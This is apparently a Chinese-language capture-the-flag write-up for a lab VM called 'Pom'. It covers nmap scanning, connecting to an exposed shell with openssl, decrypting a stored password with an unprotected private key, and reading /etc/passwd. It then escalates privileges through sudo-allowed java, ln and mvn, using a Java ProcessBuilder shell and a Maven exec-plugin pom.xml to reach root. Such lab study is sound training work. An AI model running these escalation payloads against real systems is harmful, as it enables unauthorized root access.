

Pom

第一个用户获得

第二个用户

第三个用户

获得 root

第一个用户获得

```
(root@kali)-[/home/kali/Desktop]
# nmap 10.0.2.6
Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-01 08:16 EDT
Nmap scan report for localhost (10.0.2.6)
Host is up (0.00087s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
55555/tcp open  unknown
MAC Address: 08:00:27:F4:C4:61 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds
```

从基础扫描中发现 ssh、http、55555 没有说明是什么进行详细扫描一下

▼

Shell |

1 nmap 10.0.2.6 -sV -A

```

55555/tcp open  ssl/unknown
|_ssl-date: TLS randomness does not represent time
| fingerprint-strings:
|   DNSStatusRequestTCP:
|     [?2004hsh-5.2$
|     [Jsh-5.2$
|   DNSVersionBindReqTCP, NULL:
|     [?2004hsh-5.2$
|   GenericLines:
|     [?2004hsh-5.2$
|     [?2004l
|     [?2004hsh-5.2$
|     [?2004l
|     [?2004hsh-5.2$
|     [?2004l
|     [?2004hsh-5.2$
|     [?2004l
|     [?2004hsh-5.2$
|   GetRequest:
|     [?2004hsh-5.2$ GET / HTTP/1.0
|     [?2004l
|     GET: command not found
|     [?2004hsh-5.2$
|     [?2004l
|     [?2004hsh-5.2$
|     [?2004l
|     [?2004hsh-5.2$
|     [?2004l

```

ssl安全套接层，里面大概是可以直接连接到某个用户
使用 OpenSSL 客户端登录



Shell |

```
1  openssl s_client -connect 10.0.2.6:55555 -quiet
```

或许还有别的工具 Ncat、Socat

```

sh-5.2$ id
id
uid=1000(mav1234) gid=1000(mav1234) groups=1000(mav1234)
sh-5.2$ pwd
pwd
/home/mav1234
sh-5.2$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/sbin/nologin
klogd:x:100:101:klogd:/dev/null:/sbin/nologin
apache:x:104:106:apache:/var/www:/sbin/nologin
www-data:x:82:82::/var/www:/sbin/nologin
mav1234:x:1000:1000::/home/mav1234:/bin/bash
qc2000:x:1001:1001::/home/qc2000:/bin/bash
terra536:x:1002:1002::/home/terra536:/bin/bash
sh-5.2$ █

```

当前用户 mav1234

目录 pwd

其他用户有 qc2000、terra536

```

sh-5.2$ ls -al
ls -al
total 20
drwx----- 3 mav1234  mav1234    4096 Feb 26 15:52 .
drwxr-xr-x  5 root      root      4096 Feb 26 15:25 ..
lrwxrwxrwx  1 root      mav1234     9 Feb 26 15:34 .bash_history → /dev/null
drwxr-sr-x  2 mav1234  mav1234   4096 Feb 26 15:48 .local
-rw-r--r--  1 mav1234  mav1234    97 Feb 26 15:52 journal
-rw-r--r--  1 root      mav1234    44 Feb 26 15:31 user.txt

```

OK 上号送 user.txt

查看一下 journal

▼ Shell |

```

1 I've encrypted my secret with my key. No one else can read it now. It's safely hidden away:)

```

英语 (已检测)



中文 (简体)

I've encrypted my secret with my key. No one else can read it now. It's safely hidden away:)



我已经用我的密钥加密了我的秘密。现在别人无法阅读它。它已安全地隐藏起来:)



```
I've encrypted my secret with my key. No one else can read it now. I
sh-5.2$ cd .local
cd .local
sh-5.2$ ls -al
ls -al
total 20
drwxr-sr-x  2 mav1234  mav1234    4096 Feb 26 15:48 .
drwx----- 3 mav1234  mav1234    4096 Feb 26 15:52 ..
-rw-r--r--  1 mav1234  mav1234    512 Feb 26 15:48 maven.meta
-rw-----  1 mav1234  mav1234   5285 Feb 26 15:20 ssl.pem
sh-5.2$
```

进入 `.local` 目录

发现两个文件

- `ssl.pem` 是存储和共享加密密钥和证书

```
(root@kali)-[/home/kali/Desktop]
# openssl rsa -in ssl.pem -check -passin pass:maven 2>&1 | head -1
writing RSA key
```

```
(root@kali)-[/home/kali/Desktop]
# openssl rsa -in ssl.pem -check -passin pass:"" 2>&1 | head -1
writing RSA key
```

所有密码都显示 `writing RSA key`，私钥根本没有密码保护 `maven.meta` 文件下载到本地 Kali 分析一下



Shell

```
1 cat maven.meta | base64 -w0
2 echo "这里粘贴base64字符串" | base64 -d > maven.meta
```

```
(kali@kali)-[~]
$ ls -la maven.meta
-rw-rw-r-- 1 kali kali 512 May  1 07:26 maven.meta
```

验证一下大小没错

用私钥解密

```
1 openssl pkeyutl -decrypt -inkey ssl.pem -in maven.meta -out flag.txt
```

```
(kali㉿kali)-[~/Desktop]
$ cat flag.txt
MvxPf8yCB8lxXk5A
```

```
mav1234:MvxPf8yCB8lxXk5A
```

第二个用户

```
1 mav1234@Pom:/home$ sudo -l
2 [sudo] password for mav1234:
3 Matching Defaults entries for mav1234 on Pom:
4     secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
5
6 Runas and Command-specific defaults for mav1234:
7     Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"
8
9 User mav1234 may run the following commands on Pom:
10     (qc2000) PASSWD: /usr/bin/java
```

qc2000 有 JAVA 的 sudo 权限,写一个脚本加载就行

```

1  mav1234@Pom:/tmp$ cat Shell.java
2  public class Shell {
3      public static void main(String[] args) throws Exception {
4          ProcessBuilder pb = new ProcessBuilder("/bin/bash");
5          pb.inheritIO();
6          Process p = pb.start();
7          p.waitFor();
8      }
9  }
10 mav1234@Pom:/tmp$
11 mav1234@Pom:/tmp$ sudo -u qc2000 /usr/bin/java /tmp/Shell.java
12

```

```

mav1234@Pom:/tmp$ sudo -u qc2000 /usr/bin/java /tmp/Shell2.java
qc2000@Pom:/tmp$ ls -al
total 12
drwxrwxrwt    5 root    root          140 May  1 19:44 .
drwxr-xr-x   21 root    root          4096 Feb 28 13:24 ..
drwxrwxrwt    2 root    root           40 May  1 18:26 .ICE-unix
drwxrwxrwt    2 root    root           40 May  1 18:26 .X11-unix
-rw-r--r--    1 mav1234  mav1234       182 May  1 19:42 Shell.java
-rw-r--r--    1 mav1234  mav1234       230 May  1 19:44 Shell2.java
drwxr-xr-x    2 qc2000   qc2000         60 May  1 19:44 hsperfdata_qc2000
qc2000@Pom:/tmp$ cd ~

```

第三个用户

```

qc2000@Pom:~$ sudo -l
Matching Defaults entries for qc2000 on Pom:
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for qc2000:
    Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User qc2000 may run the following commands on Pom:
    (terra536) NOPASSWD: /home/terra536/ln

```

给了我一个 ln 连接的命令开始我以为是使用这个命令读取 terra536 里面的东西。可惜我并不知道有什么文件

我想了有一会，本来以为今天就到这里。

<https://gtfobins.org/gtfobins/ln/#privilege-escalation>

看了看这个，按照上面的没有起到什么作用，寻思这就丢给 AI

<https://chat.deepseek.com/share/nrf04nq4hn7cwjyhjo>

```

-qv verbose
qc2000@Pom:/tmp$ sudo -u terra536 /home/terra536/ln -sf /bin/sh /home/terra536/ln
qc2000@Pom:/tmp$ sudo -u terra536 /home/terra536/ln -sf /bin/bash /home/terra536/ln
ln: '$'\177ELF\002\001\001': command not found
terra536@Pom:/tmp$ sudo -u terra536 /home/terra536/ln
Sorry, user terra536 is not allowed to execute '/home/terra536/ln' as terra536 on Pom.
terra536@Pom:/tmp$ sudo -l
Matching Defaults entries for terra536 on Pom:
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for terra536:
    Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User terra536 may run the following commands on Pom:
    (ALL) NOPASSWD: /usr/bin/mvn
terra536@Pom:/tmp$ cd ~
terra536@Pom:~$

```

这里是估计吧 ln 变成 base 直接就提权成功了覆写把应该是这样。。。

获得 root

```

terra536@Pom:/tmp$ sudo -l
Matching Defaults entries for terra536 on Pom:
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/b

Runas and Command-specific defaults for terra536:
    Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User terra536 may run the following commands on Pom:
    (ALL) NOPASSWD: /usr/bin/mvn

```

Maven 可以执行任意代码。创建一个 `pom.xml` 来运行 shell。用

Maven 的 exec 插件获取 shell

```
1  cat > pom.xml << 'EOF'
2  <project>
3    <modelVersion>4.0.0</modelVersion>
4    <groupId>exploit</groupId>
5    <artifactId>exploit</artifactId>
6    <version>1.0</version>
7    <build>
8      <plugins>
9        <plugin>
10         <groupId>org.codehaus.mojo</groupId>
11         <artifactId>exec-maven-plugin</artifactId>
12         <version>3.1.0</version>
13         <executions>
14           <execution>
15             <goals>
16               <goal>exec</goal>
17             </goals>
18           </execution>
19         </executions>
20       </plugin>
21     </plugins>
22   </build>
23 </project>
24 EOF
25 sudo mvn exec:exec -Dexec.executable="/bin/cat" -Dexec.args="/root/root.txt"
26 sudo mvn exec:exec -Dexec.executable="/bin/bash"
```

总体来说这个靶机的流程明确，一步靠一步。像之前做题目的时候我总是进入 web_shell 之后该做什么会不太清楚


```

mav1234@Pom:/home$ ls -al
total 20
drwxr-xr-x   5 root    root          4096 Feb 26 15:25 .
drwxr-xr-x  21 root    root          4096 Feb 28 13:24 ..
drwx-----   3 mav1234  mav1234      4096 Feb 26 15:52 mav1234
drwx-----   2 qc2000   qc2000      4096 Feb 26 15:34 qc2000
drwx-----   2 terra536 terra536      4096 Feb 26 15:34 terra536
mav1234@Pom:/home$ cd qc2000
-bash: cd: qc2000: Permission denied
mav1234@Pom:/home$ cd terra536
-bash: cd: terra536: Permission denied
mav1234@Pom:/home$ id
uid=1000(mav1234) gid=1000(mav1234) groups=1000(mav1234)
mav1234@Pom:/home$ find / -name "*flag*" 2>/dev/null
/proc/sys/kernel/acpi_video_flags
/proc/sys/net/ipv4/fib_notify_on_flag_change
/proc/sys/net/ipv6/conf/all/ra_honor_pio_pflag
/proc/sys/net/ipv6/conf/default/ra_honor_pio_pflag
/proc/sys/net/ipv6/conf/eth0/ra_honor_pio_pflag
/proc/sys/net/ipv6/conf/lo/ra_honor_pio_pflag
/proc/sys/net/ipv6/fib_notify_on_flag_change
/proc/kpageflags
/usr/lib/bash/fdflags
/sys/devices/platform/serial8250/serial8250:0/serial8250:0.3/tty/ttyS3/flags
/sys/devices/platform/serial8250/serial8250:0/serial8250:0.1/tty/ttyS1/flags
/sys/devices/platform/serial8250/serial8250:0/serial8250:0.2/tty/ttyS2/flags
/sys/devices/platform/serial8250/serial8250:0/serial8250:0.0/tty/ttyS0/flags
/sys/devices/pci0000:00/0000:00:03.0/net/eth0/flags
/sys/devices/virtual/net/lo/flags
/sys/module/scsi_mod/parameters/default_dev_flags
mav1234@Pom:/home$ uname -a
Linux Pom 6.12.74-0-lts #1-Alpine SMP PREEMPT_DYNAMIC 2026-02-20 16:16:39 x86_64 Linux
mav1234@Pom:/home$ cat /etc/os-release
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.22.3
PRETTY_NAME="Alpine Linux v3.22"
HOME_URL="https://alpinelinux.org/"
BUG_REPORT_URL="https://gitlab.alpinelinux.org/alpine/aports/-/issues"
mav1234@Pom:/home$ ps aux
PID    USER      TIME  COMMAND

```

这次靶机我还是尽量按自己的思维思考一下，进入后该做些什么
看看配置文件、系统版本、现有的用户等等还是用一些信息收集脚本